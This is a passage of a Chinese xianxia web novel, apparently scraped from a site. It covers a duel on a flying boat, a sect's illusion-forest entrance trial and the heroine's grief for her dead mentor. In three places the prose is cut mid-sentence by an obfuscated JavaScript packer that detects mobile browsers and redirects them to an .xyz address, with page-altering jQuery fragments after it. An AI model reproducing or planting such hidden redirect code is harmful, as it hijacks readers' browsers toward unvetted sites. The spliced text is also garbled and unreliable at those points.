话音未落,何与飞忽然伸手将饭碗往前一推,达文泰立即用拿着筷子的手去挡,筷子将碗扎了个对穿,肉块颤颤巍巍,难以保持平衡,纷纷掉在了桌子上。 下一刻,近在咫尺的刀风拂起达文泰鬓边的发丝,他却岿然不动,在刀锋触到他面颊的那一瞬间,如湖面泛起涟漪般,他整个人都“皱”了,身体化作透明的水,哗啦啦落到了甲板上。 何与飞的刀落空,他扭头往身后望去,只见不远处桌上茶壶里的水自动流向空中汇成一个水球,达文泰从水中跳了出来,好整以暇地朝何与飞挑了挑眉。 何与飞怒目圆瞪,一双眼睛像是要喷出火来,他怒喝道:“你要是敢动我师姐一根毫毛,我杀了你!” 达文泰手心凝起密密麻麻的细小冰针,他大笑道:“何师弟,说大话之前也得看看自己有没有那个本事!” 冰针如流矢般朝何与飞袭去,他举刀抵挡,有的冰针被击落在地化成了水,有的飞溅出去殃及池鱼,茶壶、瓷杯被击穿打碎,膳堂众人纷纷往外逃窜,也有人看热闹不嫌事大,站在原地不动大声起哄。 何与飞提着含章刀朝达文泰冲去,刀刃劈向达文泰时,他又像之前那般化水遁走,如此反复,何与飞气喘如牛,窜天猴一样在膳堂内绕了数圈,却连达文泰的一片衣角也没摸着。 一个揽月剑派弟子嘲笑道:“真没想到抱川刀传人就这点本事,奚玄门的脸都被你丢尽了!” 其他人纷纷附和:“识相点就把祈金珠交出来!就你这点三脚猫功夫,参加什么丹灵卫考核啊,回奚玄山扫落叶去吧!” “第一关都过不去吧,真是浪费名额,就应该把奚玄门的名额分给我们揽月!” 那些嘲笑鄙夷如利刃一般扎在何与飞心头,他眼眸微红,握紧了含章刀,嘴唇抿成一条线。 达文泰的双眼如鹰隼一般紧紧钩着何与飞,声音里带着几分讥笑:“这就恼羞成怒了?何与飞,不是我看不起你,你不会连抱川刀的一招半式都没学会吧?” 何与飞啐了一口,狞笑道:“杀鸡焉用宰牛刀?” 何与飞忽然如离弦之箭一般冲了出去,他的速度比方才快了不止一星半点儿,转瞬之间便冲到了达文泰眼前,横斜刀刃便朝达文泰砍去。 达文泰眼神一沉,五指一抓,一把银剑出现在他的手中。 “锵——”刀剑相撞,发出清脆的嗡鸣,灵力如大潮,向四周激荡开来。 何与飞微微勾唇,含章刀上繁复艳丽的花纹猛地窜出了火焰,动荡的灵气也似乎被点燃了,空气也变得燥热,甲板滋滋冒着水汽。 见两人动了真格,看客们全都撤出了膳堂。 窗户边,头戴鲛云纱帏帽,隔山观虎斗的岚孟微微勾了勾唇。 还不算太笨。 达文泰错开剑刃往后撤,何与飞紧跟不放,两人在膳堂内竞相角逐。达文泰用的自然是揽月剑法,俊雅飘逸,可攻可守,人攀明月不可得,月行却与人相随,是讲究对剑意深刻理解、对剑法融会贯通的一门剑法。而何与飞所使的刀法,与抱川刀大开大合的招式截然不同,奇诡刁钻,绵里藏针,招式灵活多变,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929611|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳孤明自创的刀法,刀法无名,招式亦无名,何与飞师兄弟私下里都称之为——无名刀! 何与飞不过知行境前期,而达文泰却已经是后期修为,然而何与飞却能接下他的大部分剑招,着实令达文泰心惊,他很清楚,若是放任何与飞成长下去,绝对会成为揽月剑派的一个劲敌! 银剑向下制住含章刀的时候,达文泰朝门外的揽月剑派弟子使了个眼色,后者会意,撩开袖子露出一只弩机,对准了被压制于地的何与飞,射出一支弩箭。 何与飞暗道不好,忽然,眼前闪过一道银光,从对面飞来一柄短刀,于空中击落了那支弩箭。 那短刀于空中转了个弯径直撞上达文泰手中的银剑,一击便令他不得不后退了几步。何与飞压力骤减,抽刀朝达文泰斩去,虽然后者及时躲开,可还是被凌冽的刀风在脸颊上开了个很浅的口子,渗出几滴血来。 短刀飞回岚孟手中,她五指灵活地转着那把短刀,看着对面门边射出弩箭偷袭的揽月剑派弟子,似笑非笑道:“揽月剑派不是自诩风光霁月么,居然也搞偷袭这一套?” 有那么一瞬间,偷袭之人感觉帷帽女人的目光毒如蝮蛇,自己的血都冷了片刻,然而转瞬之间便恢复了正常,他开始怀疑那种冷彻骨髓的感觉是不是自己的臆想,那女人怎么看都只是个普通的知行境前期修士。 何与飞抬脚将被岚孟吸引了注意力的达文泰踹了出去,抬手粗鲁地抹掉了鼻前的血。 达文泰撞断了一把凳子,灰头土脸地一片狼藉中爬了起来,举剑指着岚孟,厉声道:“你又是从哪里冒出来的,竟然敢管我们揽月剑派的事?” 岚孟淡淡瞥了达文泰一眼便收回了目光,端详着手中锋利无比的短刀道:“奚玄门之人,你说我有没有资格管?” “岳孤明就十个亲传弟子,我可不记得有你这么一号人物。”达文泰紧紧盯着岚孟,可惜距离远又隔着黑纱,他看不清她脸上到底是何表情。 帏帽之下传出一阵轻笑:“你也说是亲传弟子,怎么,就不允许有普通弟子吗?” 何与飞一个健步挡在了岚孟身前,瞪着达文泰,忽然笑道:“姓达的,我听说上次宗门比试,你又输给齐悦风了?这都是第十次了吧?难怪你不肯和揽月其他人一起走,而是带着几个狗腿子乘飞舟过去。我要是你,我也没脸和常胜将军走一条路……” “你给我闭嘴!”达文泰气急败坏道。 四周响起窃窃私,那些带着怀疑和否定的目光落在他身上就像针扎一般,即使听不清,他也知道他们肯定在说:他就是万年老二啊,从来没打赢过,真是丢人…… 岚孟转刀的手顿了顿,然后将短刀插进了腰间的刀鞘里,笑了一声道:“好了,船长来了。” 船长大步流星走了过来,手里还拿着一本册子,他看了达文泰和何与飞一眼,然后低头看着书册,道:“你们打碎了四张桌子,六只凳子,茶具碟碗共二十六件,地板上多了七道裂缝,折成灵石,共一万七千六百枚。”他抬头看向两个罪魁祸首,扬了扬书册:“谁来赔?” 一旁的揽月剑派弟子立即指着何与飞道:“当然是他!是他先动的手!大家可都看见了!”话音刚落,他冷不丁打了个寒颤,继而感觉双肩如泰山压顶,两腿颤颤巍巍,几乎要承受不住跌倒下去。 “难道不是你们揽月剑派挑衅在先吗?”岚孟道。 船长发话道:“行了,一个巴掌拍不响,双方各出一半。” 揽月剑派弟子这时才感觉压在肩头的力道骤然撤去,他浑身直冒冷汗,只觉得□□两条腿不是自己的了一般。 岚孟提步离开,船员们陆续走进膳堂开始收拾残局。何与飞僵着脸,不情不愿地从储物袋里掏灵石,然后在揽月剑派众弟子如狼似虎的瞪视下离开,朝岚孟离开的方向追去。 戴着袖弩的弟子朝着何与飞的背影“呸”了一声,嘟囔道:“莫不是何与飞的姘头吧,这么护着他……” 话音未落,耳边忽然传来破空声,他眼疾手快地躲开,而原先站立的地方插着一段带刺的荆棘。 他咽了咽口水,缓缓伸手捂住了嘴。 16. 清心咒 何与飞叫住岚孟,在对方回头看着他时,张了张嘴,半晌才扭捏道:“方才多谢你。” 岚孟点了点头,坦然接下了这句道谢,就在她转身欲走时,何与飞又叫住了她,他梗着脖子道:“昨天说了很多无礼的话,对不起!” 何与飞见闫扶音诧异地看着他,似乎是不敢相信他居然说出了道歉的话,这让他心中无端升起了一丝火气。 什么表情啊,他也是懂礼貌、知善恶、有错就改的人好不好! 岚孟“啊”了一声,道:“你不必在意我,别像方才那些人说的一样,第一关都过不去就行。”岚孟撂下这话就施施然走远了。 何与飞握紧了拳头,气得牙痒痒。 这人,这人简直可恶至极!亏他还怕她被自己的话伤到,鼓足了勇气去道歉! 岚孟回到房间时,鸣珂还在吃东西,她一边往嘴里塞着橘子,一边看着岚孟道:“闫扶音,你不止知行境前期吧?” 岚孟若无其事地将帷帽摘了下来挂在架子上,看向鸣珂,问道:“何出此言?” “直觉。”鸣珂道,“我对妖气和灵气都很敏感的,虽然你把修为压制到了知行境,但是骤然发力时灵气波动会比较大,就像,”她的目光放在了桌子上,举起茶盏道:“就像这杯茶!不打开盖子,你就不会知道里面盛的是冷茶还是热茶,但是只要将盖子揭开这么一个小小的缝隙,热气就会冒出来,就能让我感知到,还能闻到若有似无的香味……” 鸣珂掀起盖子,轻轻啜了一口,砸吧着嘴道:“有点苦了。” 倒是敏锐,岚孟想。她主要是得隐瞒妖族身份,以防被山到源的人认出来,修为倒是不打紧。看不出来最好,她就当个普普通通的修士;若是看出来了,那就得掂量掂量自己有没有那个实力来招惹她了,她不主动惹事,但也不怕事。 鸣珂伸长胳膊将岚孟拉到桌边坐下,丰腴温热的身体贴着她,讨好道:“那丹灵卫试炼上,你罩着我点呗?” 岚孟没有掩饰自己的惊讶。 鸣珂的言行举止都给人一种涉世未深的感觉,显然刚来人族境地不久,而她身上有价无市的法宝,周身浓郁纯净的妖气,举手投足间隐隐流露出的上位者才有的优越感,都彰显着她在妖族的地位不低,应当是哪个皇族的小殿下。 岚孟原以为人家就是去陵州游山玩水的,哪成想,竟然是要去山到源参选丹灵卫吗?为什么?体验人间疾苦? 岚孟审视的目光上下打量着鸣珂,试图理解这个放着家里金山银山不管,却想去人族第一仙门受苦受累的妖族小殿下心里到底怎么想的。 鸣珂伸手把额前碎发往上一捋,清了清嗓子道:“我就想去拯救天下,不可以吗?” 岚孟沉默了一下,淡淡道:“想不到你竟然有这么远大的志向,倒是我有眼不识泰山了。” “好吧,”鸣珂放开岚孟,单手端起茶盏豪放地饮了一口,看架势还以为她不是在喝茶而是喝酒呢。 “其实我是偷跑出来的,你可千万别说出去啊。” “为什么?逃婚?”岚孟随口一问。民间话本不都喜欢这么写吗? “你怎么知道?”鸣珂大为震惊。 “啊??”岚孟差点被口水呛到,哪个妖皇族竟然还在包办婚姻?这不都是几百年前的老黄历了么? “嗐,其实也不算逃婚吧。就我那老爹,嫌家里人太少太冷清了,说是和坟堆没什么两样,就给我抓了几个妖夫想让我生个崽给他玩,那我肯定不愿意啊,谁会和刚认识的妖生崽啊,更何况他抓来的都是些歪瓜裂枣,看见他们的脸我都吃不下饭。” “所以为了不生孩子,你就逃到了人界,还打算当个丹灵卫去惩奸除恶?”岚孟纳闷道。 鸣珂腼腆一笑:“差不多吧,我听说人界最优秀的修士都在山到源,就想着去长长见识,如果遇到顺眼的,就抓回去养着。”她皱起眉,咬着指甲,似乎非常苦恼,“那要是真遇到了,我要不要和他生孩子呢,养小孩会不会很麻烦啊……” 一时间岚孟竟无言以对。 她知道妖族对男女之事一向放得开,白天看对眼了,晚上可能就钻小树林了。可她还是低估了眼前这姑娘,说的都是什么虎狼之词? 不过,莫非还是她太保守了?难道妖域都是这般风气吗? 岚孟不由得自我反思了一下。 好在没过多久鸣珂就不再纠结“要不要生孩子”这个问题了,拿一双亮晶晶的绿眼睛看着岚孟:“所以你答不答应啊?” 岚孟犹疑道:“丹灵卫考核分三关,迷障林测试心性,溯回试炼考验修为和应变能力,过了这两关就是预备丹灵卫了,得去各地执行任务,有三年的考核期。说实话,这都得靠自己,他人帮不上什么忙。” “这样啊……”鸣珂遗憾道,她还以为要和别人打架、看修为谁高谁低之类的呢。 “不过我倒是可以教你清心咒,可以清心定神、去烦止恶,对迷障林试炼会有帮助。” “清心咒?”鸣珂纳闷道,“那是啥?” “在迷障林试炼里,你会看到种种幻境,会遇到朋友、爱人,抑或是生死仇敌,如果不能及时从幻境中脱身,找到山到源的山门入口,那你就没法进入下一关了。清心咒就是能助你打破幻境的方法之一。” 鸣珂恍然大悟:“那你教教我呗。” “心若冰清,天塌不惊……无有相生,难以相成……一心不赘物,古今自逍遥。”岚孟一字不差得背了出来。 鸣珂有模有样地念了几遍,越念便感觉眼皮越重,念着念着她的头就矮了下去,抵到桌子上,两眼一闭就睡着了。 岚孟淡定地将人摇醒。 如此睡着,被摇醒,睡着,被摇醒……很快,陵州到了。 山到源位于陵州西部的崇山峻岭之中,以崤山为中心,方圆千里之内无城镇村落,每到十年一度丹灵卫考核之时,林中的迷阵就会开启,考生们可以从十个入口中任意一个进入迷障林,而率先通过迷障抵达泉升门的前五百人才有资格进入下一关。 飞舟停在了迷障林外围的空地上,这里乌泱泱挤满了人,认识的、不认识的考生都聚在一处,熙熙攘攘,盛况空前,只待巳时一到,钟声响起,便进入迷障林之中。 岚孟戴上了帷帽,同鸣珂一起去登记处排队,至于何与飞,似乎还在生气,没跟在两人后面,径自排到了另一支队伍里。 “用祈金珠换取玉牌,如果在迷障林里遇到危险,捏碎玉牌就能直接传送出来。”岚孟解释道。 鸣珂疑惑道:“里面会有什么危险?不就是一个幻境林子吗?” “有些心志不坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音刚落,一个人身着丹灵卫赤金衣袍的人从小道上跑了出来,正是姗姗来迟的柳逸直,不知道他遭遇了什么,身上不仅有枯枝落叶,还沾了几片洁白的羽毛。 梁齐安吹胡子瞪眼道:“死哪去了,怎么才来?吃屎都赶不上热乎的!” 很多时候,秦缪都在怀疑梁齐安到底是不是山到源威风凛凛的山主,为何用词这般……平易近人。 柳逸直边抬袖震去身上乱七八糟的东西,边解释道:“旺财……就是一只灵鹤,追着一只乌鸦跑,把弟子带进树林里了。” “哼,一个风系知行境大圆满,竟然还会被灵鹤带进沟里,你瞧瞧你干的都是什么事!”梁齐安继续骂道。 这一个月梁齐安从来没给过他好脸色,不是冷嘲热讽就是夹枪带棒的,柳逸直都已经习惯了,他笑着道:“山主说的是。” 梁齐安没好气地瞪了他一眼,抬手一挥,泉水涌上泉生门,形成了一面光滑的水镜,镜中山林四处蓦地升起了浓雾,水镜分成一百个小格子,每个格子都有考生的身影,时时变换,柳逸直和秦缪二人目不转睛地盯着。 深沉而悠远的钟声骤然响起,无形的音波一圈一圈往外扩散,惊起了林中的无数飞鸟,在它们的羽翅之下,成千上万个志气昂扬的修士争先恐后进入了弥漫着雾气的山林之中。 17. 迷障林 考生争先恐后冲进树林里,鸣珂紧紧跟着闫扶音,生怕自己掉了队。草木茂盛,雾气从四面八方涌过来,视野里的人越来越少,鸣珂心里打起鼓来,她伸手去抓闫扶音,却抓了个空,闫扶音的身影如同泡沫一般消散了,此刻目之所及已经没有任何人的身影,而雾气却越来越浓厚。 鸣珂迷茫地往前走了两步,然后定了定心神,继续朝前方跑去。闫扶音说过,第一关考的是道心的稳固和破除迷障的速度,只要她跑得够快,幻境就追不上她! 不多时,鸣珂发觉周身的雾气淡薄了不少,隐约可见远处树林后平坦的地面和潺潺流动的溪流,人声喧闹传入耳中,鸣珂心头一喜,加快了奔跑的速度。 林子外有一条小河,她看见了闫扶音和其他考生,他们团团围坐在一起,篝火上架着一只烤得焦黄鲜香的羊,外围插满了烤鱼,香味争先恐后钻入鸣珂的鼻子里,她咽了咽口水。 这时,闫扶音发现了她,扬起一个灿烂的笑容,她招手道:“鸣珂,快来!就等着你了!” 鸣珂小跑过去,闫扶音塞给她一条金黄酥脆的烤鱼,鸣珂下意识咬了一口,瞬间就被鲜美紧实的口感征服了。 “好吃!”鸣珂赞叹道,闫扶音用短刀给她割了一条羊腿,鸣珂一手拿着烤鱼,一手举着羊腿大快朵颐起来。 吃得正欢,鸣珂忽然听见身后传来一声怒吼:“鸣珂你个小兔崽子!让老子好找!” 鸣珂惊恐地回头,看到一只青色大鸟从空中飞了下来,落地时化作男人模样,是她的异母兄长甘笠。 “你你你,你怎么来了!” 甘笠怒气冲冲道:“当然是来抓你回去!” 鸣珂猛地将手中羊腿摔到甘笠脸上,大叫一声后拔腿就跑。 - 今天是师姐出关的日子,何与飞连跑带颠地来到了奚玄山半山腰,只见一个清丽隽秀的女子拨开山洞前垂落的藤蔓走了出来,她朝他笑了笑,何与飞顿觉春风拂面,暖意从心底蔓延至全身。 何与飞快步走过去,一把将佟萧揽入怀中,二人安静地拥抱了一会,佟萧推开何与飞,笑着道:“师弟,快见见我们的孩子。” “啊?”何与飞瞠目结舌。 他看见两个小孩从佟萧身后走了出来,一个身材矮小,眼睛只有一条缝,像是刚从土里钻出来的鼹鼠,佟萧搂着他介绍道:“这是何大鼠,”紧接着她又从身后扯出来一个脑袋上长着角,有四只耳朵,鼻子上还挂着鼻环的孩子,骄傲道:“这是何小牛,可爱吧?” 何与飞哆嗦道:“师姐,他,这两个真的是我们的孩子?” “对啊,”佟萧理所当然道,“你看,小牛长得像我,大鼠长得像你,多么活泼可爱的两个孩子呀!” “爹爹!爹爹!”小牛和大鼠一齐朝何与飞扑过来,何与飞吓得抽刀斩去,两个孩子如幻影一般消失了。 与此同时,佟萧的身影越来越朦胧,何与飞向她扑去,却扑了个空。 - 开春发岁,白日悠悠。 每年春天,回溪解冻那日,云登谷民众都会来到回溪河畔载歌载舞,将自家好酒好菜都拿出来一同享用,欢声笑语持续到次日天明。 “岚孟,你怎么不吃啊?”孩童稚嫩的声音在耳畔回响,岚孟睁开眼睛,看见王麻虎趴在自己膝头,手里拿着一个糖人,一边舔食糖人一边望着她。 手里捏着什么东西,岚孟低头去看,头皮却被扯得生疼,身后传来一声怒骂:“别动!”同时她的肩膀被人重重打了一下。 听声音是今望月,站在她的身后摆弄着她的头发。岚孟垂眸看到手里亮黄色的兔子糖画,耳朵尖尖,眼睛圆圆,三瓣嘴勾起一个憨态可掬的弧度。 “好了好了。”今望月高兴道,她拿出一面镜子放到岚孟面前,话语里尽是骄傲:“瞧瞧,老娘的手可是最灵巧的!” 岚孟在镜中看到了自己,蓝眸如碧水,蓝发分作两半编成长长的麻花辫,上面点缀着五颜六色的小花。 王麻虎伸手欲抓那辫子,却被今望月一掌拍在手背上,她瞪着眼睛道:“别弄坏了!” 王麻虎委屈地舔了舔被拍红的手背。 今望月将悬浮在半空的镜子拿了回来,推着岚孟的肩膀催促道:“快去吧,别让尧玦等着急了。” 岚孟眼光闪动,她问道:“他在哪里?” “龙栖湖呗,今天可是你成为神使的第一天,他要带你去湖底的树灵洞,你忘记了?” 岚孟讷讷道:“是,我忘记了……我这就去。” 岚孟起身朝空山走去,一路上遇到了很多妖,他们都夸她的人形好看,岚孟笑着点头,却没有和他们攀谈。 空山上白雪皑皑,罡风凌冽,岚孟赤脚走在雪地上,冰冷的空气涌入她的胸腔,刺骨的寒意浸透她的血液,刚走到半山腰,一个火红身影忽然闯入她的视野,成了她眼中这雪白世界里唯一一抹亮色。 那人朝着她走来,墨发在风中肆意飞扬,腰间挂着一只竹笛,似有清脆明亮的曲声从其中传出。 “小孟孟。”尧玦带着笑意的声音传入岚孟耳中,那样舒朗,那样温柔。 岚孟站在原地,看着朝自己走来,越过凌冽的风雪,在她面前停下了脚步。 尧玦金色的眼眸里映着岚孟的模样,他伸手摸了摸她的头,掌心的温热仿佛能够触及灵魂。 岚孟朝他靠近,环抱住他,将脸埋在他的胸膛。就这样岁月静好地待了几息时间,糖画兔子化作利剑,从背后直直扎进了尧玦的心口。 尧玦的脸上没有震惊,没有愤怒,是一如既往的温柔和舒朗。 “干得漂亮。” 空山开始崩塌,蓝天一寸寸裂开,尧玦的身影逐渐变淡,缓缓化为虚无,落满枯叶的树林映入岚孟的眼帘。 她站了很久,才弯腰将落到枯叶里的帷帽拾了起来扣到头上,然后步伐坚定地朝前方走去。 尧玦啊,从没见过她化为人形的样子呢。 - 鸣珂被甘笠反扣住双手压在地上,细碎的沙石磨得她脸颊生疼。 “还去不去考那劳什子丹灵卫了!”甘笠恶狠狠道。 鸣珂心里咯噔一声,下意识求饶道:“不去了不去了,你快放开我!” 甘笠扯住鸣珂的胳膊将她整个人都提了起来,悬在半空中时,鸣珂忽然想到了什么,扭头质疑道:“不对啊,你怎么知道我要去考丹灵卫?” 她在房里留下的字条说的明明是来人境游玩的!更何况进山到源是她来到人境才临时决定的,甘笠这厮如何得知! 鸣珂连忙念起清心咒。 这时,如画卷被撕裂一般,甘笠连同身后的山川树木忽然裂开了无数漆黑的裂缝,鸣珂掉进了裂缝里,她紧紧闭上眼睛,一阵眩晕感之后,她摔了个屁股墩,再睁眼时,她回到了光线昏暗、薄雾四起的树林里,鸣珂后怕地拍了拍胸口,起身朝亮处跑去。 一路上遇到了不少人,他们的神情或痛苦或欢愉,行动也奇奇怪怪的,像是神念沉浸在幻境中,现实里的身体也跟着行动一般。 鸣珂小心地从他们身边掠过,一扭头,就看见自家老爹黑着脸站在那里,鸣珂迅速念起清心咒,然而幻境却不像方才一般直接崩溃,她眼睁睁看着老爹大步走过来,伸出手想要来抓她。 鸣珂拔腿就跑,号啕道:“怎么不管了用啊啊啊!” - 梁齐安搬了个椅子坐在水境前,时不时点评某个弟子的行动。 “这迷障林到处是幻境,一重接一重,老夫今年还特意加了几个‘境中境’,嘿,这个娃娃踩到了!” 秦谬插嘴道:“山主,那是焱堂的诸葛宁。” 梁齐安捻了捻胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929613|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,眯起眼睛思考,呢喃道:“这个名字怎么这么耳熟……他是不是木灵根?” 秦谬笑了一下:“山主好记性,咱们殿门前那棵绿色的玉兰花树就是他养的。” 这么一说梁齐安就知道诸葛宁是哪位了。 “半夜不睡觉,说是来和玉兰花聊天谈心的就是他吧?” 秦谬讪讪地笑了笑。 他是不懂木灵根到底是不是真的和植物交流了。 - 诸葛宁从幻境中脱身,争分夺秒朝泉升门赶来。 为了保证选拔公平公正,一个月前迷障林就封闭了,梁齐安独自设置幻阵,设什么阵、设在哪里全看他的心情,焱堂的弟子也无法知晓幻阵的具体位置,同时,考生手里的玉牌会指引泉升门的方向,就算焱堂弟子提前踩过点,也占不到什么先机。 诸葛宁飞快往玉牌指引的方向跑去,有不少人也同他一样撒开腿狂奔,跑着跑着被拖入幻境之中,脱离幻境以后又开始跑。他抓起衣襟嗅了嗅,那里别着一朵花,是他培育出来的可以清气凝神的灵药,靠着这个他闯过了大多数莫名其妙的幻境,比如吃人吐骨头还用人骨剔牙的花啦,会钻进皮肤吃掉内脏的草啦,之类的。 远远地,他听到了水声潺潺,他心头一喜,忽然见到斜前方有个穿黑衣、戴帷帽的姑娘,她慢悠悠地走着,在一干狂奔不止的修士中显得十分格格不入。 诸葛宁的步子不由自主慢了下来,忽然感觉后背一凉,他猛地扭头,一只长着无数眼珠的巨大蝴蝶猛地朝他扑了过来,每一个眼珠里都倒映着他的样子,诸葛宁朝蝴蝶洒出一把红色粉末,眼珠蝴蝶瞬间便化成了齑粉,而他也回到了树林之中。 诸葛宁心有余悸地拍了拍胸口,发现那个姑娘依然闲庭信步般不紧不慢,忽然,她停住了脚步,诸葛宁还以为她陷入了幻境,却发现她纵身飞上了旁边的大树,从树上取了个什么东西下来。 诸葛宁好奇地凑上前去,便见她手心里躺着一块半透明的胶状物。 “哇!二十年的古榆树胶!”诸葛宁遗憾道,“我一直想要来着。” 岚孟看了他一眼,将树胶递过去道:“那便给你吧。” 诸葛宁惊讶道:“真的可以给我吗?可这是你找到的。” “你象耳竺的叶子吗?可以用它来交换”岚孟道。 象耳竺,顾名思义,叶子长得像象耳的植物,可以折成各种形状,折成鸟会飞,折成猫会跑,折成鸭子会嘎嘎叫。 正巧,诸葛宁屋子里就养着一株,他开心道:“成交!我叫诸葛宁,等结束了你来我家找我,有棵夹竹桃树的就是我家。” 岚孟将树胶收了起来,告知了诸葛宁自己的姓名。 两人一同往前走,身边不少人跑着前进,诸葛宁一副想跑又不好意思跑的样子,岚孟估摸着已经有不少人通过泉升门了,于是率先跑了起来,诸葛宁松了一口气,也撒开腿往前狂奔。 - 泉升门,梁齐安忽然皱眉道:“有其他人闯进来了,西南方向的入口附近。” 柳逸直立即道:“我去看看。” 他在迷障林中疾驰,从不少考生头顶飞过,尚未抵达西南入口就听到了打斗声,只见四个人联手对付两个黑衣人,还有两人藏在远处的树下,其中一个姑娘像是受伤了,躺在另一人怀抱里。 柳逸直大喝一声:“何人擅闯山到源!” 他这一嗓子直接影响到了战局,其中一个黑衣人闻声立即化作黑雾融入土中,却被手持长鞭的女子一脚踩住。另一人则在几招之内被其余三人联手制服,待柳逸直掠至他们跟前时,那人已经化作齑粉灰飞烟灭了。 这……柳逸直皱起眉,刚要说话便被持鞭女子打断了。 “来得正好,”她拿出一块铃铛形状的玄铁腰牌,道:“我乃禅宗夏澜熹,请求面见源主!” 18. 再相逢 泉升门后已经聚集了百十来号人,大多数人都面色灰白,一副劫后余生的样子,也不知他们在幻境里看到了什么。诸葛宁去找其他焱堂的同门了,岚孟找了个角落坐下,等了一会,何与飞和鸣珂也相继到来。 五百人来齐,钟声再次响彻四野,迷障林试炼结束。 “老夫乃巽崖梁齐安,恭贺诸君顺利通过了迷障林试炼,下一关溯回试炼将于明日巳时开启。在我宗期间,切勿寻衅滋事,违者将取消试炼资格。大道无疆,愿诸君得见真我。” 欢呼声不止,看着台下朝气蓬勃的年轻修士,梁齐安满意的笑意爬上了眼角,他叮嘱了秦谬几句,便负手离去了。 秦谬站在泉升门下,让声音清晰地传入每个人耳中:“诸位道友,我宗已经为大家安排了房间,在玉牌上可以查看。诸位的活动范围仅限于落霞坞,不可随意前往其他地方,若有需要,需向在下讲明原由……” 秦谬巴拉巴拉说了一堆注意事项,鸣珂听得认真,等结束了大家一起往客舍走的时候还时不时和岚孟小声蛐蛐。 “他们这里吃饭不要钱唉!扶音,你说是飞舟上的菜好吃还是这里的好吃?” 岚孟歪头想了想,实诚道:“我不清楚。” 她其实没怎么吃过饭菜。作为山雀跟着尧玦四处执行任务时,尧玦不让她吃那些乱七八糟的东西,所以她只吃过灵米。而化形之后,尧玦也已经死了,她再没来过山到源,故而也不知道山到源的饭食是什么滋味,只知道其他弟子很喜欢去吃,要是有新菜品的话还得早早去抢。 落霞坞因落霞江而得名。落霞江起源于崤山,初始时向西南方向奔腾,从群山之间穿过,然后将宽广的平原分为南北两个半,继而滔滔向东,一去不回。客舍位于江水之南,鳞次栉比,统一的青瓦白墙,规整雅致,外宗来客和焱堂弟子都住在这里。 与之相比,北园的宅舍就显得风格各异了。阁楼,四合院,甚至地洞、凿穿山体的悬楼,应有尽有,盖因这些房屋都是丹灵卫自己建造的,据说百年前弟子们还自行组织过房屋建筑比赛,看看谁的房子最精巧。只不过随着丹灵卫越来越多,可用的宅基地所剩无几,而且弟子们的想法总是天马行空,建出来的房子奇形怪状,一眼望去难免乱七八糟的,所以几十年前就不允许自己建房了,新晋丹灵卫都住前辈们的老房子。 岚孟、鸣珂和两个留命堂的姑娘同住一院,鸣珂自来熟得很,不过小半个时辰就和两位姑娘打好了关系,相约一起去落霞坞的膳堂享用美食,岚孟要去找诸葛宁,便回绝了她们。 诸葛宁的院子十分好找,毕竟没几个人会在宅院里种夹竹桃这种全株都有毒的树,即使夹竹桃之毒对于修士来说算不得什么。岚孟站在半掩的院门前,抬手扣了扣门,听到诸葛宁的回应,她才推门走了进去。 同她想象中一样,院子里种满了奇花异草,桃红色的夹竹桃花朵落了满地,浓郁清新的木系灵气扑面而来,岚孟只觉浑身的毛孔都在灵气的浸润下变得轻松舒爽。 诸葛宁从屋里走了出来,手里还拿着一把象耳竺叶子,约摸十来片的样子,几乎把他的脑袋都挡住了。一片象耳竺叶子的价值在十到二十灵石之间不等,岚孟用那二十年的树胶换一把象耳竺叶子并不亏,于是两人很快便完成了交易。 岚孟离开以后,诸葛宁“砰”地一声关上院门,将古榆树胶融入一碗泉水之中,然后快步走到了夹竹桃树下。木架上有一盆叶子幽蓝修长似兰叶的草,他小心翼翼地将树胶泉水倒进了盆里,双手合十,虔诚地弯腰朝兰草拜了三拜,心里默念着“快开花快开花”。 做完这些,他还觉得不够,警惕地朝四周、天上和地下都探查了一番,确定无人偷窥以后,他膝盖一弯朝兰草跪下,“哐哐”磕了三个响头,才满意地顶着一额头的泥土草屑回了屋子里。 - 岚孟一路向北,远远地便看见了一棵粗壮的枫树,巨大的树冠华阴如盖,五角枫叶犹如被晚霞染红,风一吹便纷纷扬扬飘落于地。 一座两层的小木屋倚树而建,弯曲的树干从一楼伸进木屋,又从二楼窗户探出来,屋顶上铺满了金黄枫叶,木屋前开满了各种各样的菊花,热烈又绚烂,只不过少数菊花像是被什么东西啄掉了一半,凄惨地躺在地上,等待化作泥土、春来护花。 岚孟沿着羊肠小道走向木屋,纵身飞上了二楼,蹲在栏杆上,看见屋中整洁干净,床铺略显凌乱,架子上摆满了竹简、书本,有人生活的痕迹明显。 她的眼瞳暗了一瞬。 已经有人住了啊…… 也对,白驹过隙,一转眼已经十七年了,丹灵卫也招了一批新人,尧玦已死,他的屋子分给新人住,也是应该的。 